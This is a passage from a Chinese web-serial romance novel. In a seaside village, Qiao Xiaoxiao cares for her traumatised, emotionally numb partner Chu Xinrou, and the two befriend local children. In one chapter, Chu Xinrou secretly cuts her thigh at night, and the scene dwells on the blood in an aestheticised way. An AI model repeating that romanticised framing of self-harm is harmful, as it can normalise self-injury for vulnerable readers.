乔潇潇轻轻点头,细心地为姐姐换下惯常穿着的职业套装,取而代之的是一身柔软的休闲服。她动作轻柔地为楚心柔戴上棒球帽,又小心翼翼地将耳机塞进她的耳朵,像是在照顾一个易碎的瓷娃娃。 Lara站在一旁,看到乔潇潇的行为,有点紧张。她比谁都清楚,这段时间的楚总虽然对外界毫无反应,却异常敏感易怒,任何试图安排她行为的人,都会遭到激烈的反抗。 可眼前的景象却让她怔住了:在乔潇潇面前,那个曾经雷厉风行的楚总,此刻竟温顺得像个孩子。任由乔潇潇为她整理衣领,调整帽檐,甚至在她耳边轻声细语时,也只是安静地眨了眨眼睛。 本来潇潇是想要开车的,一路带着楚心柔享受路上的风景,想在哪儿停留就停留,可姐姐的情况,比她想象的还要不好,需要随时照顾,这样开车分心会有危险,还是选择了高铁出行。 Lara把乔潇潇要的相关的心理书籍低了给了她,厚厚的几本,“有些多,你慢慢看就好。” 她能理解,乔潇潇想要尽快治疗好楚心柔的心情,但是心理学这门知识,并没有外人想的那么简单,是需要大量的理论基础的。 乔潇潇稳稳接过书堆,语气笃定,“等我学完寄给你。” Lara抿了抿唇,全当她客气,乔潇潇却看着楚心柔,轻声说:“姐姐,她不知道我的实力,你告诉她,我是过目不忘的学霸。” 楚心柔没吱声。 乔潇潇就捏了捏她的嘴,模仿着楚心柔的语调,“潇潇是学霸。” 她甚至还抓起了楚心柔的手,冲她俩挥了挥,“拜拜。” 二小姐:…… Lara:…… 这可是高高在上的楚家大小姐。 是那个最近脾气差的出奇,多一句话都不爱说的楚总。 居然让人家又捏嘴又抓手的? Lara觉得自己开了眼了,她看向楚凤依,二小姐也是眼神飘忽:“别问我,问就是不知道。” 她到现在,也很难理解乔潇潇的狗胆是哪儿来的。 她对姐姐从来都是这么的自信乐观。 明明…… 乔潇潇当然知道,她带着楚心柔坐到高铁上的时候,都想着lara说的话。 ——从临床心理学角度来看,楚总表现出典型的创伤后情感隔离症状。这是一种个体在遭受重大心理创伤后产生的防御机制,属于心理自我保护的本能反应。她会主动抑制所有情绪体验,无论是积极情绪还是消极情绪,短期来看,这种机制确实能帮助个体缓冲创伤带来的剧烈痛苦。但若长期持续,则可能导致发展成持续性抑郁障碍,慢慢的,她会对感受不到这个世界的色彩。 就像楚心柔在催眠治疗中反复提到的那写“灰白色的鱼”。 它们失去了所有色彩,在深海中孤独游弋。 这都是一种症状。 乔潇潇听lara的描述之后,表面上点头应了,心里却在骂她放狗.屁。 她转身,看了看坐在旁边的楚心柔,姐姐那双总是锐利的眼睛此刻涣散失焦,像蒙着一层雾霭的玻璃。 乔潇潇根本不在意,她勾了勾唇角,身子前倾,亲了亲姐姐的嘴角。 声音很大。 “mua~”的一声。 对面正分享薯条的小情侣动作凝固,薯条袋啪嗒掉在地上。女孩张着嘴,薯条半截还露在外面,男孩则是举着番茄酱的手悬在半空,酱料滴在裤子上都浑然不觉。 乔潇潇笑眯眯地看着楚心柔,用她能发出的最温柔的声音,问:“喜欢么?” 什么没反应? 还不是得被她迷倒。 楚心柔缓缓转头,眼神的雾气退散了一些。 “不喜欢。” 三个字,干脆利落。 乔潇潇:…… 【作者有话说】 乔医生上线。 105 第105章 ◎楚心柔的目光忽然变得专注,她缓缓转向白蕊,声音很轻却异常清晰:“她◎ 乔潇潇没有带楚心柔回万柳村,而是选择了偏远的游霞村,一个依偎在蔚蓝海岸线上的静谧渔村。 这里的一切都浸润着海的气息。咸湿的海风终日轻抚着错落的渔家小屋,将斑驳的木墙染上一层薄薄的白霜。村口的老榕树撑开如盖的绿荫,树下散落着几张被岁月磨得发亮的竹椅。每当潮水退去,金黄的沙滩上便留下粼粼波光,远处的海平线上,几叶扁舟随着浪涛轻轻摇晃,船头晾晒的渔网在阳光下泛着银光,随着海风微微颤动。 楚心柔始终沉默着,像一尊没有生气的瓷娃娃。 乔潇潇也不强求,只是每天雷打不动地把她从屋里拽出来。 姐姐抗拒时,她就半哄半抱;姐姐发呆时,她就安静陪着。哪怕只是让楚心柔在竹椅上枯坐一整天,吹着带咸味的海风,也好过让她独自蜷缩在昏暗的房间里。 游霞村的居民起初对这对奇怪的姐妹充满好奇。这个与世隔绝的小渔村鲜有外人造访,更别说一住就是大半个月。村里多是留守的老人和孩童,偶尔出现的青壮年也都皮肤黝黑,带着常年出海的风霜。他们靠海吃海,过着近乎原始的生活,清晨出海,日落归航,捕获的大鱼送去邻镇贩卖,微薄的收入刚够糊口。 乔潇潇总在楚心柔视线可及的沙滩上自得其乐。她像个孩子般专注地堆砌沙堡,湿漉漉的沙粒从指缝间漏下,有时突然就笑出声来,惊飞了停歇的海鸟。 楚心柔会微微转动眼珠,目光在她身上停留片刻,又很快移开。 第三天傍晚,卖椰汁的小姑娘白蕊终于按捺不住好奇心,蹦蹦跳跳地来到乔潇潇身边。这个晒得黝黑的小女孩约莫十岁,穿着洗得发白的碎花裙,却有一口雪白整齐的牙齿。她蹲下身子,像个小大人似的指着沙堡说:“你搭的不对。” 乔潇潇诧异地抬起头,手指还陷在松软的沙堆里。 白蕊伸出黝黑的小手,灵巧地在即将坍塌的沙堡侧面画了个流畅的弧线:“海浪打过来时,圆形的基座更牢固。”她说话时眼睛亮晶晶的,稚嫩的脸上透着超越年龄的笃定。 乔潇潇来了兴致,诚恳地请教:“你教教我好不好?” 白蕊的父亲白斌曾是村里的包工头。母亲早逝后,父亲工作时常常带着她。等白蕊稍大些,父亲甚至会让她帮忙做些简单的活儿。久而久之,小姑娘对建筑产生了浓厚的兴趣。白斌很是欣慰,想着女儿能继承自己的衣钵。可惜天不遂人愿,一次出海后,白斌再也没能回来。 白蕊吃着百家饭长大,但生活的磨难并未磨灭她乐观的天性。她蹲在沙滩上,一边示范一边讲解:“沙堡要分层压实,每层都要喷水加固……” 俩人分工协作。 乔潇潇都快赶上人家两个高了,也不害羞,挖的那叫个卖力,脸上沾了沙子也挡不住她的兴奋。 在她的指导下,乔潇潇竟真的搭出了一个像模像样的碉堡,棱角分明的城墙、错落有致的塔楼,连拱形的城门都栩栩如生。海浪轻轻拍打着岸边,却丝毫撼动不了这座坚固的堡垒。 她兴奋地像是个孩子,原地来了个猴哥跳,冲白蕊竖起大拇指:“你是个天才!” 白蕊歪着头打量她,突然认真地问:“你是傻子吗?” 她从小就生活在这里,没有经过社会的大染盘,口直心快,很是单纯,也没有人教过她什么叫“委婉”。 海风忽然变得安静,乔潇潇的笑容凝固在脸上。 白蕊扭头看着坐在竹椅上气质不一般的楚心柔,小声问:“你是她的监护人么?” 乔潇潇:…… 楚心柔的目光缓缓落在小女孩身上,片刻后,微不可察地点了点头。 “我观察好几天了。”白蕊像个小大人似的叹了口气,“她总是一个人在沙滩上又笑又闹的。前天堆了只小乌龟,笑得牙花子都露出来了。”她忧心忡忡地压低声音,“是撞到头了吗?” 乔潇潇:??? 楚心柔摇了摇头,海风吹动她垂落的发丝。 “不是受伤?”白蕊恍然大悟,稚嫩的小脸上浮现出怜悯的神色,“那就是天生的……” 好可怜啊,年纪轻轻的,还长得这么好看。 乔潇潇怔怔地望着姐姐,这是这么多天来,楚心柔第一次对外界做出回应。 晚上睡觉的时候,乔潇潇兴冲冲地抱着姐姐,亲了亲她的脸颊,想要跟她说说话,可楚心柔却还是老样子,手抓着她的衣襟,缩在了她的怀里,闭上了眼睛,很明显地拒绝交流。 乔潇潇感受到怀中人轻微的颤抖,心头涌起一阵酸涩。她收紧了手臂,将下巴轻轻抵在姐姐的发顶,是她……太着急了。 她们来岛上日子也不短了。 姐姐还是那样,像是一个海螺,将自己禁锢起来,不让她触碰。 一切好似都在原地踏步。 …… 从那天偶遇之后,白蕊便成了乔潇潇结实的“朋友”。 每当夕阳西斜,这个黝黑的小姑娘总会蹦跳着出现在沙滩上。她的小手总是攥着些奇奇怪怪的工具……用废弃船板削成的抹刀,渔网线缠绕的简易水平仪,甚至还有用贝壳镶嵌的装饰模具。这些都是她在渔船修理厂捡来的边角料,用生锈的小刀一点点打磨出来的。 “看这个!”她献宝似的从兜里掏出一把造型古怪的小铲子。铲柄是用断裂的桨杆削成的,表面还留着海浪侵蚀的纹路,铲头则是半块锈迹斑斑的铁皮,边缘被磨得发亮。“我磨了整整三天呢。”她得意地晃了晃,“比手挖快多啦!” 她就是没有钱,要是有钱,白蕊会送给自己的新伙伴一套特别好的挖沙玩具的。 乔潇潇以前到底是当老板的,有一双能发现人才的眼睛,她知道白蕊的心思,忍不住说:“你卖椰汁没什么人买,岛上竞争又大,为什么不卖出手工制品?” 白蕊沉默了片刻,看了看乔潇潇,虽然没说话,可眼神写的清楚明白。 ——你一个傻子懂什么? 乔潇潇深吸一口气,不跟她一般见识,她指了指旁边的楚心柔:“你这个哑姐姐,她会画画,你可以做各种各样的东西,然后让她帮你填颜色。” “真的吗?” 一提到楚心柔,白蕊明显态度立马不一样了,她甚至因为迫不及待地起身,一脚踩塌了乔潇潇新做的沙火锅。 乔潇潇:…… 有的人就是这样。 哪怕是一言不发,也会让人为之着迷。 白蕊对楚心柔表现出一种天然的亲近,她抱着个褪色的布包,小心翼翼地凑到楚心柔身边。布包里装着她最珍贵的“宝贝”——用贝壳串成的风铃,渔网线编织的手链,还有一盒攒了半年零花钱才买到的二十四色水彩笔。 乔潇潇紧张地攥紧了衣角。她既担心姐姐会突然缩回自己的世界,又怕小姑娘的热情会碰壁。更何况,那些廉价的水彩笔与楚心柔曾经使用的专业画具相比,实在是太过简陋。 她屏住呼吸,直勾勾地盯着姐姐。 然而出乎意料的是,楚心柔缓缓抬起手,接过了白蕊递来的木质小海螺。阳光透过她纤细的指尖,在螺壳上投下斑驳的光影。她凝视良久,突然指向彩笔盒中那支蓝色的水彩笔。 白蕊的眼睛一下子亮了起来,她迫不及待地抽出那支蓝色水彩笔,期待地望着楚心柔。 楚心柔纤细的手指轻轻捏住水彩笔,笔尖在纸上悬停了片刻。海风拂过她的发丝,泛着柔和的光晕。突然,她的手腕轻轻一转,蓝色的线条开始在木头上流淌。起初只是几道犹豫的痕迹,渐渐地,线条变得流畅而肯定。 她画的是海浪的曲线,层层叠叠,仿佛能听见潮水的声音。 白蕊屏住呼吸,小脸凑得极近。她看着那支普通的蓝色水彩笔在楚心柔手中仿佛被施了魔法,简单的线条竟勾勒出了大海的灵魂。 很快的,楚心柔画完了海螺,她递给了白蕊,目光又落在了她的身边。 白蕊立马把自己的风铃递了过去,楚心柔又接了过去。 乔潇潇的眼眶微微发热,这是这一个月以来她第一次看见姐姐重新拿起画笔,哪怕只是一支孩童用的水彩笔。 她来小岛带的东西并不多,可姐姐的画板和画笔都被她带过来了。 她记得从前,每当楚心柔情绪低落时,总会用阴郁的色块和扭曲的线条在画布上宣泄痛苦。那些画作总是让她看得心惊,却又暗自庆幸姐姐至少还愿意表达。 可这次完全不同。 楚心柔像一尊被抽走灵魂的雕塑,整日怔怔地望着海平面。若不是乔潇潇坚持每天把她从床上拽起来,她恐怕会永远蜷缩在黑暗的角落里。她断绝了与外界的所有联系,连最本能的创作欲望都消失了,活像古墓里那个断绝七情六欲的小龙女。 乔潇潇不敢出声,生怕惊扰这来之不易的奇迹。 …… 到了晚上,海滩上的人流渐渐多了起来。各色摊贩的吆喝声此起彼伏,彩色的灯光将沙滩点缀得如同星河坠落。 乔潇潇牵着楚心柔的手,站在不远处静静观望。白蕊的小摊前门可罗雀,她局促地坐在一堆椰汁旁边,不时偷瞄隔壁摊主娴熟的叫卖技巧。游客们匆匆走过,都以为她只是卖椰汁的普通小贩。 楚心柔沉默地看了许久,转头看向乔潇潇。 只这一眼,乔潇潇便心领神会,唇角扬起一抹宠溺的笑,心底为了姐姐的改变而狂喜。 乔潇潇是谁? 那可是打工第一人! 她快步走向隔壁摊位,买了几串孩童玩的发光小灯泡,又买了一个手鼓。纤细的手指在灯光下翻飞,铁丝在她指间如同有了生命。那可是曾经编织过千万条红绳的巧手,这点东西,对她来说完全是小意思。 “看好了。”乔潇潇将做好的招牌往白蕊面前一放,眼中闪着狡黠的光,“跟傻子学着点。” 白蕊还没来得及反应,就听见乔潇潇清亮的嗓音划破夜空:“纯手工海岛纪念品!独一无二的沙滩艺术品!” 她一边说着,手还一边敲着鼓,有节奏地喊着,笑吟吟地看着四处的游客。 白蕊羞得整个人都缩到了摊位后面,脸颊烧得通红,恨不能挖个沙坑把自己埋起来。 可不得不说。 勇敢脸皮厚的人,总是先享受世界。 本来这手工制品就是楚心柔亲手画的,白蕊认真做的,各个精致,跟那种拼多多上批发出来的小商品完全不是一个档次,有识货的游客立马就驻足了。 这生意,喜欢的就是有人围观,很快的,摊位上就聚集起来人了。 白蕊的定价是一个小物件二十元,她本来想定十五的,可毕竟是楚心柔一个个亲手画的,她不好意思压的太低。 乔潇潇扯着嗓子喊着:“工厂倒闭清仓价!三十一个,五十两个!限量发售,先到先得!” 白蕊从桌子底下爬出来,她走到了楚心柔的身边,不可思议呆呆地看着。 楚心柔跟她一样看着乔潇潇,以前这样的场合,多是杨绯棠陪着潇潇,她很少去,也就很少见到这样的乔潇潇。 “您瞧瞧这个海螺。”乔潇潇轻轻托起一枚精致的贝壳,指尖在纹路上摩挲,“我们叫它‘永结同心螺’。您看这天然的螺旋纹路,多像月老的红线,一圈圈把有缘人缠在一起呢。” 见一位姑娘拿起红绳手链,她眼睛一亮:“哎呦,您可真是慧眼识珠!这可是我们老板娘亲手编的,每一根绳结都带着祝福。”她压低声音,“今天买了戴上去,也许明天就收到暗恋对象的表白了。” 她把小姑娘哄得乐的合不拢嘴。 白蕊舔了舔唇,看向楚心柔,半响,她不可思议缓缓地说:“原来,她不是傻子。那……那她——” 她知道楚心柔不会说话,可她也不会比划手语,有点尴尬地挠了挠头。 楚心柔盯着她看了看,轻声说:“她不是。” 啊! 白蕊吓了一跳,她震惊无比:“姐姐,原来你也不是哑巴!” 楚心柔平静地点了点头,目光追随着乔潇潇。 白蕊有点迷糊了,她挠着头:“她怎么每天玩的那么开心……” 笑起来也很傻的样子。 楚心柔轻声解答:“她小时候没有玩过。” 白蕊明白了,“哦。”她看了看楚心柔,“那你呢?姐姐,你为什么之前不说话?” 楚心柔指了指自己的胸口,认真地说:“这里病了。” 白蕊点了点头,她又明白了,原来姐姐不是哑巴,是心脏病。 白蕊的小脑袋转了一圈之后,变成了十万个为什么,“那姐姐,你们是亲姐妹还是好朋友?你们都长的那么好看,我只在电视上看到过这么好看的人,还有潇潇姐姐,她的身材好好啊,前几天阿发哥偷着看了半天,被阿嫲戳破还闹了一个大红脸。” 她吱吱喳喳地带着小孩子的八卦:“阿发哥可是我们岛上最帅的小伙。” 阿发哥是岛上的救生员,身材特别好,八块腹肌,人性格也好,阳光开朗,最重要的是大家都说他长得像是周润发。 楚心柔的目光忽然变得专注,她缓缓转向白蕊,声音很轻却异常清晰:“她是我的。” 海风突然静止了一瞬。 “啊?”白蕊呆住了,以为自己听错了。 楚心柔平静地注视着小姑娘,一字一句地说:“你去告诉发糕哥,她是我的爱人。” 【作者有话说】 楚心柔:我虽然病了,但什么是不能被触碰的,还是分的清清楚楚,乔潇潇,你等着。 潇潇:???…… 106 第106章 ◎她像一尾渴求氧气的小鱼,轻轻贴近楚心柔的唇。◎ 楚心柔的话像一道惊雷,瞬间将白蕊劈得僵在原地。她瞪圆了双眼,嘴唇微张,整个人如同被施了定身咒般凝固在那里,连呼吸都停滞了十几秒。 而楚心柔却早已移开视线,目光穿过嘈杂的人群,牢牢锁住那个正在收摊的身影上。 乔潇潇卖完最后一个小饰品,正笑盈盈地朝她走来。 在楚心柔灰暗的世界里,四周的一切都褪去了颜色,唯独乔潇潇周身笼罩着一层柔和的光晕,像是无尽黑夜中唯一的星辰。 这段时间以来,楚心柔的感官仿佛被蒙上了一层厚厚的纱。她感受不到疼痛,体会不到喜悦,所有的情绪都像被抽离般麻木。 唯有乔潇潇,她是不同的。 乔潇潇总是能敏锐地察觉到姐姐的异样。她脚步一顿,目光在楚心柔苍白的脸上停留片刻,立即快步上前,用自己温热的手掌包裹住姐姐冰凉的手指:“怎么了?” 楚心柔轻轻摇头,眼神空洞得像一潭死水。 晚上,楚心柔还是老样子,几乎是睡不着的,这一个月来,她早已摸清姐姐的睡眠状况——那根本称不上是睡眠,更像是短暂的昏迷,稍有一点动静就会惊醒。有时乔潇潇半夜翻身,都能感觉到身旁的人瞬间绷紧的身体。 楚心柔知道自己的状况不好,她很少说话,但是来到小村庄后,因为想要跟乔潇潇分开睡,提过了一次,“你去隔壁房间睡。” 她像是行尸走肉一样活着,已经很痛苦了,没必要再拖着乔潇潇。 潇潇不吱声,只是咬着唇,用委屈地眼神看着她。 在这样的注视下,楚心柔沉默了。 来这里一个月的时间。 楚心柔瘦了两斤,乔潇潇却瘦了五斤,她本来人就高,再加上总再海边晒得黝黑的皮肤衬得她整个人像根细长的竹竿,难民一般。 无论楚心柔怎么推,乔潇潇都不会离开的,她始终保持着乐观与积极。 游霞村的村民都很朴实,待久了,潇潇跟村民们逐渐熟悉了起来。 每天天还没亮,海面上浮着一层薄薄的雾气,渔村的码头却已经热闹起来。乔潇潇裹着一件外套,踩着露水打湿的木栈道,跟着村民们走向渔船。她的动作已经比刚来时熟练许多,麻利地帮着收缆绳、整理渔网,粗糙的麻绳在她掌心磨出薄茧,她却浑然不觉。 渔船随着海浪轻轻摇晃,柴油发动机“突突”地响着,划破黎明的寂静。 乔潇潇站在船头,海风卷着咸腥的气息扑面而来,吹乱了她随意扎起的头发。她眯着眼睛,看着远处海天相接的地方渐渐泛起鱼肚白,霞光一点点晕染开来,把整片海面染成金色。 “潇潇,准备撒网了!”老渔民吆喝一声,她立刻跑过去帮忙,和几个壮实的渔家汉子一起,把沉重的渔网抛进海里。银亮的鱼群在网中翻腾,溅起的水珠在晨光中闪闪发亮。 她抹了把脸上的海水,笑得灿烂。 她帮村民去捕鱼,不是为了赚钱,每次返航,老船长都会特意挑一尾最活蹦乱跳的鲈鱼塞进她的竹篓。乔潇潇总会小心翼翼地用海草裹好,像捧着什么珍宝似的带回家。她在灶台前忙活半天,直到砂锅里咕嘟咕嘟冒出奶白色的泡泡,浓郁的鲜香便溢满了整个小屋。 楚心柔总是安静地坐在餐桌前,她本来是没有胃口的,可不忍心看潇潇忙乎这么久。 瓷勺在汤碗里划出浅浅的涟漪,楚心柔尝不出味道,却能感受到暖流顺着食道缓缓蔓延至四肢百骸。偶尔乔潇潇会变着花样做碗鱼面,用文火慢熬的鱼汤作底,鲜得连隔壁的白蕊都闻香而来,捧着小碗直嚷着要拜师学艺。 窗外的海风裹挟着潮湿的咸味,屋内蒸腾的热气在玻璃上凝成细密的水珠。乔潇潇托着下巴,看着姐姐一小口一小口地喝着鱼汤,心里的满足几乎要溢出来了。 白蕊起初总是局促不安,坐在小板凳上连头都不敢抬。可渐渐地,在这个飘着鱼汤香气的小屋里,她找到了从未体验过的安宁。作为吃百家饭长大的孤儿,她见惯了岛上夫妻为了柴米油盐争吵的模样,却从未见过这样的相处——一个安静地喝汤,一个专注地看着,两人之间流动的默契,比任何语言都要温暖。 慢慢地,在某个鱼汤飘香的黄昏,或是编织手工品的静谧夜晚,乔潇潇会和白蕊说起往事。她的声音很轻,母亲的离开,父亲的虐待,伯母的打骂,还有那些蜷缩在柴房里度过的漫长黑夜。 “直到遇见姐姐……”乔潇潇眼神温柔起来,“她教会我,不是所有人都带着恶意活着,要好好努力,总会有温暖降临。” 她说这些话的时候,楚心柔就坐在窗户边,吹着风,她的表情没有变,也不知道听到了没有。 这些零星的讲述,在白蕊心里埋下了种子。这个向来对学习漫不经心的渔村少女,开始认真对待每一节补习课。她会在赶海归来后,就着摇曳的油灯背诵课文;在卖完手工艺品后,用赚来的零钱买二手参考书。每当想偷懒时,眼前就会浮现乔潇潇说“要活下去啊”时,那个既脆弱又坚韧的笑容。 “我也要……”白蕊咬着铅笔头,在作业本上一笔一划地写着,海浪声成了最好的伴奏。她忽然明白了,原来人的成长,可以不是被生活打磨得麻木不仁,而是像潇潇姐那样,在经历过黑暗后,依然能温柔地对待这个世界。 第二个月开始的时候,白蕊开始小心翼翼地往乔潇潇的小木屋带人。 起初只是偶尔一两个,后来渐渐变成了三五个。这些孩子里,有和她一样的孤儿,有跟着年迈爷爷奶奶生活的留守儿童,还有被父母遗忘在渔村的单亲孩子。他们像一群被潮水冲上岸的小贝壳,散落在渔村的各个角落。 第一次带人来那天,白蕊紧张得手心直冒汗。她牵着的小女孩叫昭昭,是个聋哑孩子,安静得像一尾不会说话的小鱼。走到木屋前时,白蕊才想起乔潇潇被村民叫去修网络了,屋里只有楚心柔一个人。 “昭昭……”白蕊蹲下身,放慢语速让小女孩能看清她的唇形,“今天潇潇姐不在,我们改天再来好不好?” 昭昭眨了眨眼睛,乖巧地点点头。两人正要转身离开,身后的木门突然“吱呀”一声开了。楚心柔站在门口,晨光在她身后拉出一道修长的影子。她没说话,只是用那双平静如海的眼睛打量着两个孩子。 白蕊的脸一下子涨得通红,手指不自觉地绞着衣角:“姐、姐姐,这是昭昭……她……她听不见声音……”声音越说越小,最后几乎变成了气音。 海风掠过木屋前的风铃,发出细碎的声响。楚心柔站在光影交错的门廊下,阳光描摹着她清瘦的轮廓,苍白的肌肤近乎透明,鸦羽般的长发被海风轻轻拂动,那双总是雾霭沉沉的眼睛此刻竟泛着些许微光。她美得不像真实存在的人,像是随时会随着海雾消散的幻影。 她缓缓蹲下身,与昭昭平视,纤细的手指在阳光下划出弧度。 ——你也想吃鱼面吗? 现在的楚心柔,思绪简单得像退潮后留在沙滩上的贝壳。她的大脑像被清空的抽屉,装不下复杂的东西。 昭昭瞪大了眼睛,不自觉地咽了咽口水,小手慌乱地比划着。 ——没有,我不馋的。 旁边的白蕊惊叹于姐姐美丽又厉害,居然还会手语。 楚心柔盯着她看,昭昭的脸红了,低下头,不好意思地比划。 ——好吧,只是一点点。 楚心柔把两个孩子带到了家里。 这是小木屋这么久以来,姐姐第一次带人进来。 房间里的每件家具都带着手工的痕迹——用漂流木打造的餐桌边缘还留着树皮的纹路,贝壳镶嵌的柜门在阳光下泛着珍珠般的光泽,连窗边的风铃都是用海玻璃和渔网线编织而成。这些都是乔潇潇一点点亲手制作的,每个细节都浸着海风的味道。 楚心柔走向灶台,揭开还温着的砂锅盖。早晨乔潇潇出门前煮好的鱼面还剩大半,乳白的汤底上漂着翠绿的葱花。她盛出两碗,热气在碗沿凝结成细密的水珠。 两个孩子起初还拘谨地小口啜饮,但当第一口鲜甜的汤汁滑过舌尖时,伪装瞬间土崩瓦解。白蕊捧着碗的手微微发抖,昭昭更是吃得整张小脸都埋进了碗里。 “我跟你说过特别好吃吧!” 昭昭的小脸都吃花了,也顾不上擦,一口一口吃的“凶狠”。 楚心柔安静地坐在窗边的藤椅上,看着昭昭吃饭的样子,突然想起了潇潇小时候。 那时候的她,刚来家里,对什么东西都小心翼翼的,唯独干饭的时候,总是会全神贯注,无比认真。 乔潇潇进屋的时候看见家里的两个小家伙吓了一跳。 楚心柔站在她们的对面,手里拿了一个教鞭,轻轻地点着黑板。 黑板上,是她用粉笔画的各种的手语姿势。 白蕊看的很认真,昭昭也看的认真,一个是在认真学手语,一个是在认真学画画,两个小脑袋凑在一起,特别可爱。 这场景让乔潇潇怔在原地。她看见楚心柔垂落的发丝间露出的耳尖,在阳光下近乎透明,更看见她唇角那一丝几不可察的柔软。那是久违的,活着的痕迹。 海风从乔潇潇身后涌入,吹散了眼角泛起的热意。 看见潇潇进来,楚心柔放下了教鞭,看了看她。 潇潇明白她的意思,走了过去,“来来来,姐姐累了,我教你们。” 楚心柔的体力很不好,干一点活就会累,她需要休息。 两个小家伙明明怕楚心柔,明明乔潇潇更有亲和力,可当自己站在黑板下的时候,白蕊和昭昭明显失望了。 …… 夜色如墨,海浪声透过木窗的缝隙轻轻漫进屋内。 乔潇潇从身后环抱着楚心柔,将下巴轻轻搁在她瘦削的肩头。月光透过贝壳风铃的间隙,在两人身上洒下斑驳的光影。 “姐姐很喜欢昭昭?”乔潇潇的唇瓣若有似无地擦过楚心柔的耳廓,温热的呼吸裹挟着海盐的气息,她察觉到怀中的身躯比往日少了几分僵硬。 屋内陷入长久的寂静,只有潮汐的呼吸在黑暗中起伏。乔潇潇并不着急,只是用指尖轻轻梳理着楚心柔的长发。 直到月光偏移到床尾,楚心柔才微微动了动。她的声音很轻:“她吃饭时很像……” 话语在这里断裂,乔潇潇感觉到姐姐的手指无意识地攥紧了被角。 “你小时候。” 或许正如许可晴所言,楚心柔生来就带着宿命般的阴翳。她的生命底色本该是浓稠的黑暗,像深海最幽暗处的礁石,永远照不进阳光。 可命运偏偏让乔潇潇闯了进来。 这个女孩像一尾会发光的鱼,带着粼粼的微光游进她漆黑的世界。最初只是零星的光点,渐渐化作温柔的月辉。 乔潇潇的手臂微微收紧,胸口涌动的情绪几乎要将她淹没。她像一尾渴求氧气的小鱼,轻轻贴近楚心柔的唇。 她能感觉到姐姐的身体瞬间绷紧,纤细的手指无意识地掐住她的手臂,每一次,姐姐要么会偏开头,要么是身子僵硬着不愿意,她心底压抑的思念此刻化作汹涌的潮水,几乎冲破理智的堤坝。 几秒钟的僵持像是一个世纪那么长。 最终,楚心*柔的手指缓缓松开,像是退潮时最后一道浪花。乔潇潇小心翼翼地贴上去,唇瓣相触的瞬间,她感觉到姐姐的颤抖。 只是这样轻轻的一个吻就够了。 姐姐没有再推开她,已经是进步了。 “姐姐,你会好起来的。” 说完这话,乔潇潇沉沉睡去,唇角还带着餍足的弧度。这是许久以来她第一次坠入深眠,呼吸绵长如潮汐,连睫毛都安稳地不再颤动。 楚心柔却在黑暗中睁着眼睛。月光描摹着潇潇的轮廓,从凌乱的刘海到微微嘟起的嘴唇,每一处都看得那么仔细,良久,她像一只夜行的猫,悄无声息地起身。 月光在木地板上流淌,她赤足踩过那些银白的光斑,来到窗边。从茶几下摸出那把锋利的小刀,裤腿被慢慢卷起,露出苍白如瓷的肌肤。 刀尖轻轻一挑,一道细细的红线便蜿蜒而下,在月光下显得格外妖冶。 楚心柔大腿内侧早已布满这样的痕迹,新旧交织,像一幅诡异的图腾,别的地方不可以,潇潇会看到。 刀锋划破皮肤的瞬间,她只感受到一丝细微的凉意,仿佛在触碰别人的身体。 楚心柔痛苦地抱住了自己,无力地用手挫着头发…… 还不行。 为什么感觉不到痛。 她为什么还不好啊。 【作者有话说】 叶子写到她们来小岛上,心里感觉很平静,像是一个新篇章一样。 大家别急,我想写的细腻一些。 107 第107章 ◎楚心柔在短暂的迟疑后,终于抬起手臂环住了潇潇的腰身。◎ 潇潇毕竟年轻,一夜酣眠过后,整个人便又恢复了元气,仿佛连日来的疲惫都被这一觉驱散了。她醒来后的第一件事,仍是像往常一样去看楚心柔,姐姐依旧静静地躺着,面容沉静。 楚心柔太了解潇潇的习惯了,知道她每天睁眼后必定会先来看自己。因此,即便夜里辗转难眠,她也会安静地躺在床上,好让潇潇放心。 潇潇轻手轻脚地走近,俯下身,在姐姐的额头上落下一个轻柔的吻。 她的内心是坚定的,姐姐一定会好起来的,所以每天都是阳光灿烂。 楚心柔看着她的笑容,眼神痴痴的。这段时间,姐姐总会这样看自己,好像一眨眼自己就会消失一般,潇潇被看的有些心酸心疼,她缩进姐姐怀里,又腻歪了一会儿,才起身去做饭。 放了轻松的音乐,乔潇潇开始做饭,无论姐姐吃多少,哪怕只是喝一口汤,她也不会糊弄一日三餐。 今天早上,她想给姐姐煮一点疙瘩汤,用新鲜的蛤蜊,那味道,鲜到骨子里。 楚心柔躺在床上,耳边萦绕着轻快的旋律,目光落在天花板上那些用海螺拼成的星星上。那是潇潇特意为她布置的,每一颗都闪着柔和的光。她的思绪渐渐飘远,回到了遥远的童年。 她记得,小时候,楚云疾很忙,极偶尔的一次,才会带着家人出去散散心。 那时候,她们也选择过海边。 记忆有些模糊,楚心柔只记得路上楚云疾很放松,一路都搂着许可晴,许可晴明显的开心,将头靠在她的肩膀上。 那时候,楚心柔那么小,还什么都不懂,孩子么,本能的想跟爸妈在一起,可她发现,只要自己一出现在爸妈的面前,许可晴明显表情就有些僵硬了,连笑容都不那么舒展了。 小小的孩子,那么的敏感细腻。 后来的两天,楚心柔都自己缩在酒店的角落里,尽量减少出现,吃饭的时候,许可晴转了一圈找到人之后,有点不开心了,“出来玩,怎么还躲在这里?” 小心柔抿着唇看着她,不吭声。 许可晴有点挂脸,“又这样,问你话,要说的啊,妈妈对你说多少次了。” 小心柔缓缓地低下头,黑葡萄一样的眼睛里蓄满了泪水,她缓缓地说:“我觉得……妈妈不喜欢我出现……” 许可晴明显地愣了一下,她抿着唇,盯着楚心柔看了许久,伸出双臂,轻轻地抱住她,“是妈妈不好,去吃饭吧,嗯?” 她的声音那么温柔,带着复杂的情绪。 只是当时的楚心柔听不懂,很开心于妈妈的亲密,伸出手去搂她的脖子,想要亲亲,却被许可晴极快地躲开了。 …… 饭桌上,潇潇小心翼翼地观察着姐姐的神情。楚心柔低垂着眼睫,握着汤勺的手指微微发紧,整个人都笼罩在一种说不出的低落里。 “姐姐……是味道不好么?”潇潇轻声问道,声音里藏着掩不住的忐忑。 楚心柔摇了摇头,嘴角勉强牵起一个弧度:“很好吃。” 好吃?可那碗汤分明只动了几口。潇潇张了张嘴,还想说些什么,楚心柔却已经放下勺子,瓷勺碰到碗沿发出清脆的声响。 “我累了。”她轻声说着,起身往卧室走去,背影单薄得像一片随时会被风吹散的云。 海风从半开的窗户灌进来,带着咸涩的气息。 潇潇望着姐姐那碗几乎没动过的疙瘩汤,汤面上凝结的油花像是一层薄薄的愁绪。她木然地搅动着自己碗里的汤,最终也放下了勺子,瓷勺碰撞碗壁的声响在安静的餐厅里格外清晰。 